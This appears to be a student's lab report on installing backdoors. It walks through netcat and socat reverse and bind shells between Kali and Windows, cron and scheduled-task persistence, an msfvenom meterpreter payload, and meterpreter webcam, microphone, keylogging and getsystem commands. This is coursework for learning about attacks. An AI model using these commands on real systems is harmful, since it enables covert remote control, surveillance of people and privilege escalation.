Exp2 后门原理与实践Exp2 后门原理与实践
一、基础问题回答 |
1、例举你能想到的一个后门进入到你系统中的可能方式?
从网上下载软件时,可能会下载到其它附带捆绑软件,而这些软件可能就有后门程序。在安装时,便一起安装了。
2、例举你知道的后门如何启动起来(win及linux)的方式?
①自己不小心点击运行了后门程序;
②篡改了注册表,将其设为开机自动运行;
③被控端被设置了cron启动,定时循环启动;
3、Meterpreter有哪些给你映像深刻的功能?
必须是截取摄像头!像是随时有双背后的眼睛盯着你,真·瑟瑟发抖~
4、如何发现自己有系统有没有被安装后门?
低级一点的后门程序杀毒软件就可以查杀,像这次的利用ncat或socat传送到主机并运行获取主机Shell实验,必须要先关掉杀毒软件和防火墙;
另外可通过找到对应进程,对相应进程进行抓包,看他通信的数据,分析是不是后门。
二、常用后门工具实践 |
- Windows获得Linux Shell
1.Windows:先使用ipconfig指令查看本机IP:172.30.1.20
2.使用ncat.exe程序监听本机的4322
端口(需要提前下好并安装ncat)
3.Kali:使用nc指令的-e选项反向连接Windows主机的4322端口nc 172.30.1.20 4322 -e /bin/sh
4.Windows:获得一个Kali的shell,运行ls
指令如下
- Linux获得Windows Shell
1.与第一个类似,这次是在Kali环境下使用ifconfig
查看IP192.168.198.128
2.Kali:使用nc
进行监听4322
端口 nc -l -p 4322
3.Windows:使用ncat.exe
程序的-e
选项项反向连接Kali主机的4322
端口 ncat.exe -e cmd.exe 192.168.198.128 4322
4.Kail:可看到在Windows上的命令提示,输入Windows指令
- 使用nc传输数据
1.Windows:监听4322
端口
2.Kail:连接到4322
端口 nc 172.30.1.20 4322
3.两者建立连接后,可进行通信
三、实验内容 |
①使用netcat获取主机操作Shell,cron启动
1.Windows系统下,监听4322
端口
2.Kali环境下,使用man crontab
指令查看crontab
命令的帮助文档,crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
3.用crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器即可
4.最后一行添加33 * * * * /bin/netcat 172.30.1.20 4322 -e /bin/sh
,意思是在每个小时的第33分钟反向连接Windows主机的4322
端口,就会启动cron
。设置成33
的原因是我当时的时间是21:31,为了能立马看到效果,所以我将时间设置在了2分钟以后 (进入vim
编辑器,按i
可插入文字)
5.当时间到了21:33时,此时已经获得了Kali的shell,可以在Windows里输入指令,会立马显示出来
②使用socat获取主机操作Shell, 任务计划启动
1.在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建触发器,选择开始任务时间为:工作站锁定时。
2.新建操作,选择启动的程序为socat.exe
,参数填为tcp-listen:4322 exec:cmd.exe,pty,stderr
,这一操作的含义是把cmd.exe
绑定到端口号,同时把cmd.exe的stder
r重定向到stdout
上(需要提前下载好socat)
3.创建完成之后,按Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
4.在Kali环境下输入指令socat - tcp:172.30.1.20:4322
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的4322
端口,此时可以发现已经成功获得了一个cmd shell
③使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=4322 -f exe > 20154322.exe生成后门程序
LHOST地址为**Kail**的地址,生成文件后,会有文件大小的相关说明。
2。通过nc
指令将生成的后门程序传送到Windows主机上,输入后需要在Linux上输入指令(在做这一步需提前关闭本机的杀毒软件和防火墙)
这一步得有先后顺序,即先有发方,后可提示收方接收消息
Windows:ncat.exe -lv 4322 > 20154322_backdoor.exe
Kail:ncat -nv 172.30.1.20 4322 < 20154322_backdoor.exe //此地址为Windows的IP地址
3.在Kali上使用msfconsole
指令进入msf控制台,使用监听模块,设置LPORT、LHOST军与生成可执行文件相同,设置payload、执行exploit
msfconsole //进入msf
use exploit/multi/handler //进入handler模式
set payload windows/meterpreter/reverse_tc //设置payload
show options //查看当前信息状态
set LHOST 192.168.198.128 //设置LHOST
set LPORT 4322 //设置LPORT
![](https://images2018.cnblogs.com/blog/1344739/201803/1344739-20180329193021220-1752627376.png)
//MSF开始监听
4.打开Windows上的后门程序
C:\\ncat>20154322_backdoor.exe
5.此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
__④使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 __
1.在上一个试验的基础上,使用record_mic
指令可以截获一段音频
2.使用webcam_snap
指令使用摄像头进行拍照
3.使用webcam stream
指令使用摄像头进行录像
4.使用screenshot
指令进行截屏
5.使用keyscan_start
指令记录下击键的过程,使用keyscan_dump
指令读取击键的记录
6.先使用getuid
指令查看当前用户,使用getsystem
指令进行提权
四、实验心得体会 |
这次实验实在有趣,虽然上课没太明白在讲什么,但是课下根据实践指导和其他同学的实验报告自己一步一步做出来还是收获满满。这次实验同时也让我感觉电脑其实脆弱得不堪一击。仅仅知道了对方的IP地址,敲了几行代码,就可以随意截取到照片、音频......我不禁想到了最最最喜欢的乔治奥威尔的《1984》里的电屏(telescreen),虽然没有“Big brother is watching you ”这么恐怖,但如果生活中是这样,那真是让人不寒而栗。所以在生活中,我们得小心小心再小心!